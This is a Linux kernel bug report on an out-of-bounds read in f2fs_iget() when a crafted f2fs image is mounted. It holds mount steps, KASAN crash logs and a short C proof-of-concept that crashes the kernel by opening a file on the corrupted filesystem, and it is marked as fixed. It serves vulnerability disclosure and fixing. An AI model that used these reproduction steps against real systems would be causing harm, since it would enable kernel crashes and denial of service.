Bug 200173

Summary: Out-of-bound access in f2fs_iget() when mounting a corrupted f2fs image
Product: File System Reporter: Wen Xu (wen.xu)
Component: f2fsAssignee: F2FS development list (linux-f2fs-devel)
Status: RESOLVED CODE_FIX    
Severity: normal CC: chao, wen.xu
Priority: P1    
Hardware: All   
OS: Linux   
Kernel Version: 4.18 Subsystem:
Regression: No Bisected commit-id:
Attachments: The (compressed) crafted image which causes crash

Description Wen Xu 2018-06-22 13:44:47 UTC 
Created attachment 276733 [details]
The (compressed) crafted image which causes crash

- Overview
Out-of-bound access in f2fs_iget() when mounting a corrupted f2fs image

- Reproduce
# mkdir mnt
# mount -t f2fs final.img mnt

The following message will be got in KASAN build of 4.18 upstream kernel.
[  819.392227] ==================================================================
[  819.393901] BUG: KASAN: slab-out-of-bounds in f2fs_iget+0x736/0x1530
[  819.395329] Read of size 4 at addr ffff8801f099c968 by task mount/1292

[  819.397079] CPU: 1 PID: 1292 Comm: mount Not tainted 4.18.0-rc1+ #4
[  819.397082] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  819.397088] Call Trace:
[  819.397124]  dump_stack+0x7b/0xb5
[  819.397154]  print_address_description+0x70/0x290
[  819.397159]  kasan_report+0x291/0x390
[  819.397163]  ? f2fs_iget+0x736/0x1530
[  819.397176]  check_memory_region+0x139/0x190
[  819.397182]  __asan_loadN+0xf/0x20
[  819.397185]  f2fs_iget+0x736/0x1530
[  819.397197]  f2fs_fill_super+0x1b4f/0x2b40
[  819.397202]  ? f2fs_fill_super+0x1b4f/0x2b40
[  819.397208]  ? f2fs_commit_super+0x1b0/0x1b0
[  819.397227]  ? set_blocksize+0x90/0x140
[  819.397241]  mount_bdev+0x1c5/0x210
[  819.397245]  ? f2fs_commit_super+0x1b0/0x1b0
[  819.397252]  f2fs_mount+0x15/0x20
[  819.397256]  mount_fs+0x60/0x1a0
[  819.397267]  ? alloc_vfsmnt+0x309/0x360
[  819.397272]  vfs_kern_mount+0x6b/0x1a0
[  819.397282]  do_mount+0x34a/0x18c0
[  819.397300]  ? lockref_put_or_lock+0xcf/0x160
[  819.397306]  ? copy_mount_string+0x20/0x20
[  819.397318]  ? memcg_kmem_put_cache+0x1b/0xa0
[  819.397324]  ? kasan_check_write+0x14/0x20
[  819.397334]  ? _copy_from_user+0x6a/0x90
[  819.397353]  ? memdup_user+0x42/0x60
[  819.397359]  ksys_mount+0x83/0xd0
[  819.397365]  __x64_sys_mount+0x67/0x80
[  819.397388]  do_syscall_64+0x78/0x170
[  819.397403]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  819.397422] RIP: 0033:0x7f54c667cb9a
[  819.397424] Code: 48 8b 0d 01 c3 2b 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d ce c2 2b 00 f7 d8 64 89 01 48
[  819.397483] RSP: 002b:00007ffd8f46cd08 EFLAGS: 00000202 ORIG_RAX: 00000000000000a5
[  819.397496] RAX: ffffffffffffffda RBX: 0000000000dfa030 RCX: 00007f54c667cb9a
[  819.397498] RDX: 0000000000dfa210 RSI: 0000000000dfbf30 RDI: 0000000000e02ec0
[  819.397501] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000013
[  819.397503] R10: 00000000c0ed0000 R11: 0000000000000202 R12: 0000000000e02ec0
[  819.397505] R13: 0000000000dfa210 R14: 0000000000000000 R15: 0000000000000003

[  819.397866] Allocated by task 139:
[  819.398702]  save_stack+0x46/0xd0
[  819.398705]  kasan_kmalloc+0xad/0xe0
[  819.398709]  kasan_slab_alloc+0x11/0x20
[  819.398713]  kmem_cache_alloc+0xd1/0x1e0
[  819.398717]  dup_fd+0x50/0x4c0
[  819.398740]  copy_process.part.37+0xbed/0x32e0
[  819.398744]  _do_fork+0x16e/0x590
[  819.398748]  __x64_sys_clone+0x69/0x80
[  819.398752]  do_syscall_64+0x78/0x170
[  819.398756]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  819.399097] Freed by task 159:
[  819.399743]  save_stack+0x46/0xd0
[  819.399747]  __kasan_slab_free+0x13c/0x1a0
[  819.399750]  kasan_slab_free+0xe/0x10
[  819.399754]  kmem_cache_free+0x89/0x1e0
[  819.399757]  put_files_struct+0x132/0x150
[  819.399761]  exit_files+0x62/0x70
[  819.399766]  do_exit+0x47b/0x1390
[  819.399770]  do_group_exit+0x86/0x130
[  819.399774]  __x64_sys_exit_group+0x2c/0x30
[  819.399778]  do_syscall_64+0x78/0x170
[  819.399782]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  819.400115] The buggy address belongs to the object at ffff8801f099c680
                which belongs to the cache files_cache of size 704
[  819.403234] The buggy address is located 40 bytes to the right of
                704-byte region [ffff8801f099c680, ffff8801f099c940)
[  819.405689] The buggy address belongs to the page:
[  819.406709] page:ffffea0007c26700 count:1 mapcount:0 mapping:ffff8801f69a3340 index:0xffff8801f099d380 compound_mapcount: 0
[  819.408984] flags: 0x2ffff0000008100(slab|head)
[  819.409932] raw: 02ffff0000008100 ffffea00077fb600 0000000200000002 ffff8801f69a3340
[  819.411514] raw: ffff8801f099d380 0000000080130000 00000001ffffffff 0000000000000000
[  819.413073] page dumped because: kasan: bad access detected

[  819.414539] Memory state around the buggy address:
[  819.415521]  ffff8801f099c800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  819.416981]  ffff8801f099c880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  819.418454] >ffff8801f099c900: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
[  819.419921]                                                           ^
[  819.421265]  ffff8801f099c980: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb
[  819.422745]  ffff8801f099ca00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  819.424206] ==================================================================
[  819.425668] Disabling lock debugging due to kernel taint
[  819.457463] F2FS-fs (loop0): Mounted with checkpoint version = 3

The kernel still mounts the image. If you run the following program on the mounted folder mnt,

# gcc -o poc poc.c
# ./poc ./mnt

(poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);
    int fd = open(foo_bar_baz, O_RDONLY, 0);
  if (fd >= 0) {
      read(fd, (char *)buf, 11);
      close(fd);
  }
}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

You can get kernel crash:
[  819.457463] F2FS-fs (loop0): Mounted with checkpoint version = 3
[  918.028501] BUG: unable to handle kernel paging request at ffffed0048000d82
[  918.044020] PGD 23ffee067 P4D 23ffee067 PUD 23fbef067 PMD 0
[  918.045207] Oops: 0000 [#1] SMP KASAN PTI
[  918.046048] CPU: 0 PID: 1309 Comm: poc Tainted: G    B             4.18.0-rc1+ #4
[  918.047573] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  918.049552] RIP: 0010:check_memory_region+0x5e/0x190
[  918.050565] Code: f8 49 c1 e8 03 49 89 db 49 c1 eb 03 4d 01 cb 4d 01 c1 4d 8d 63 01 4c 89 c8 4d 89 e2 4d 29 ca 49 83 fa 10 7f 3d 4d 85 d2 74 32 <41> 80 39 00 75 23 48 b8 01 00 00 00 00 fc ff df 4d 01 d1 49 01 c0
[  918.054322] RSP: 0018:ffff8801e3a1f258 EFLAGS: 00010202
[  918.055400] RAX: ffffed0048000d82 RBX: ffff880240006c11 RCX: ffffffffb8867d14
[  918.056832] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffff880240006c10
[  918.058253] RBP: ffff8801e3a1f268 R08: 1ffff10048000d82 R09: ffffed0048000d82
[  918.059717] R10: 0000000000000001 R11: ffffed0048000d82 R12: ffffed0048000d83
[  918.061159] R13: ffff8801e3a1f390 R14: 0000000000000000 R15: ffff880240006c08
[  918.062614] FS:  00007fac9732c700(0000) GS:ffff8801f6e00000(0000) knlGS:0000000000000000
[  918.064246] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  918.065412] CR2: ffffed0048000d82 CR3: 00000001df77a000 CR4: 00000000000006f0
[  918.066882] Call Trace:
[  918.067410]  __asan_loadN+0xf/0x20
[  918.068149]  f2fs_find_target_dentry+0xf4/0x270
[  918.069083]  ? __get_node_page+0x331/0x5b0
[  918.069925]  f2fs_find_in_inline_dir+0x24b/0x310
[  918.070881]  ? f2fs_recover_inline_data+0x4c0/0x4c0
[  918.071905]  ? unwind_next_frame.part.5+0x34f/0x490
[  918.072901]  ? unwind_dump+0x290/0x290
[  918.073695]  ? is_bpf_text_address+0xe/0x20
[  918.074566]  __f2fs_find_entry+0x599/0x670
[  918.075408]  ? kasan_unpoison_shadow+0x36/0x50
[  918.076315]  ? kasan_kmalloc+0xad/0xe0
[  918.077100]  ? memcg_kmem_put_cache+0x55/0xa0
[  918.077998]  ? f2fs_find_target_dentry+0x270/0x270
[  918.079006]  ? d_set_d_op+0x30/0x100
[  918.079749]  ? __d_lookup_rcu+0x69/0x2e0
[  918.080556]  ? __d_alloc+0x275/0x450
[  918.081297]  ? kasan_check_write+0x14/0x20
[  918.082135]  ? memset+0x31/0x40
[  918.082820]  ? fscrypt_setup_filename+0x1ec/0x4c0
[  918.083782]  ? d_alloc_parallel+0x5bb/0x8c0
[  918.084640]  f2fs_find_entry+0xe9/0x110
[  918.085432]  ? __f2fs_find_entry+0x670/0x670
[  918.086308]  ? kasan_check_write+0x14/0x20
[  918.087163]  f2fs_lookup+0x297/0x590
[  918.087902]  ? f2fs_link+0x2b0/0x2b0
[  918.088646]  ? legitimize_path.isra.29+0x61/0xa0
[  918.089589]  __lookup_slow+0x12e/0x240
[  918.090371]  ? may_delete+0x2b0/0x2b0
[  918.091123]  ? __nd_alloc_stack+0xa0/0xa0
[  918.091944]  lookup_slow+0x44/0x60
[  918.092642]  walk_component+0x3ee/0xa40
[  918.093428]  ? is_bpf_text_address+0xe/0x20
[  918.094283]  ? pick_link+0x3e0/0x3e0
[  918.095047]  ? in_group_p+0xa5/0xe0
[  918.095771]  ? generic_permission+0x53/0x1e0
[  918.096666]  ? security_inode_permission+0x1d/0x70
[  918.097646]  ? inode_permission+0x7a/0x1f0
[  918.098497]  link_path_walk+0x2a2/0x7b0
[  918.099298]  ? apparmor_capget+0x3d0/0x3d0
[  918.100140]  ? walk_component+0xa40/0xa40
[  918.100958]  ? path_init+0x2e6/0x580
[  918.101695]  path_openat+0x1bb/0x2160
[  918.102471]  ? __save_stack_trace+0x92/0x100
[  918.103352]  ? save_stack+0xb5/0xd0
[  918.104070]  ? vfs_unlink+0x250/0x250
[  918.104822]  ? save_stack+0x46/0xd0
[  918.105538]  ? kasan_slab_alloc+0x11/0x20
[  918.106370]  ? kmem_cache_alloc+0xd1/0x1e0
[  918.107213]  ? getname_flags+0x76/0x2c0
[  918.107997]  ? getname+0x12/0x20
[  918.108677]  ? do_sys_open+0x14b/0x2c0
[  918.109450]  ? __x64_sys_open+0x4c/0x60
[  918.110255]  ? do_syscall_64+0x78/0x170
[  918.111083]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  918.112148]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  918.113204]  ? f2fs_empty_inline_dir+0x1e0/0x1e0
[  918.114150]  ? timespec64_trunc+0x5c/0x90
[  918.114993]  ? wb_io_lists_depopulated+0x1a/0xc0
[  918.115937]  ? inode_io_list_move_locked+0x102/0x110
[  918.116949]  do_filp_open+0x12b/0x1d0
[  918.117709]  ? may_open_dev+0x50/0x50
[  918.118475]  ? kasan_kmalloc+0xad/0xe0
[  918.119246]  do_sys_open+0x17c/0x2c0
[  918.119983]  ? do_sys_open+0x17c/0x2c0
[  918.120751]  ? filp_open+0x60/0x60
[  918.121463]  ? task_work_run+0x4d/0xf0
[  918.122237]  __x64_sys_open+0x4c/0x60
[  918.123001]  do_syscall_64+0x78/0x170
[  918.123759]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  918.124802] RIP: 0033:0x7fac96e3e040
[  918.125537] Code: 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 83 3d 09 27 2d 00 00 75 10 b8 02 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 7e e0 01 00 48 89 04 24
[  918.129341] RSP: 002b:00007fff1b37f848 EFLAGS: 00000246 ORIG_RAX: 0000000000000002
[  918.130870] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fac96e3e040
[  918.132295] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 000000000122d080
[  918.133748] RBP: 00007fff1b37f9b0 R08: 00007fac9710bbd8 R09: 0000000000000001
[  918.135209] R10: 000000000000069d R11: 0000000000000246 R12: 0000000000400c20
[  918.136650] R13: 00007fff1b37fab0 R14: 0000000000000000 R15: 0000000000000000
[  918.138093] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd mac_hid i2c_piix4 soundcore ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx raid1 raid0 multipath linear 8139too crct10dif_pclmul crc32_pclmul qxl drm_kms_helper syscopyarea aesni_intel sysfillrect sysimgblt fb_sys_fops ttm drm aes_x86_64 crypto_simd cryptd 8139cp glue_helper mii pata_acpi floppy
[  918.147924] CR2: ffffed0048000d82
[  918.148619] ---[ end trace 4ce02f25ff7d3df5 ]---
[  918.149563] RIP: 0010:check_memory_region+0x5e/0x190
[  918.150576] Code: f8 49 c1 e8 03 49 89 db 49 c1 eb 03 4d 01 cb 4d 01 c1 4d 8d 63 01 4c 89 c8 4d 89 e2 4d 29 ca 49 83 fa 10 7f 3d 4d 85 d2 74 32 <41> 80 39 00 75 23 48 b8 01 00 00 00 00 fc ff df 4d 01 d1 49 01 c0
[  918.154360] RSP: 0018:ffff8801e3a1f258 EFLAGS: 00010202
[  918.155411] RAX: ffffed0048000d82 RBX: ffff880240006c11 RCX: ffffffffb8867d14
[  918.156833] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffff880240006c10
[  918.158257] RBP: ffff8801e3a1f268 R08: 1ffff10048000d82 R09: ffffed0048000d82
[  918.159722] R10: 0000000000000001 R11: ffffed0048000d82 R12: ffffed0048000d83
[  918.161149] R13: ffff8801e3a1f390 R14: 0000000000000000 R15: ffff880240006c08
[  918.162587] FS:  00007fac9732c700(0000) GS:ffff8801f6e00000(0000) knlGS:0000000000000000
[  918.164203] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  918.165356] CR2: ffffed0048000d82 CR3: 00000001df77a000 CR4: 00000000000006f0


Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech.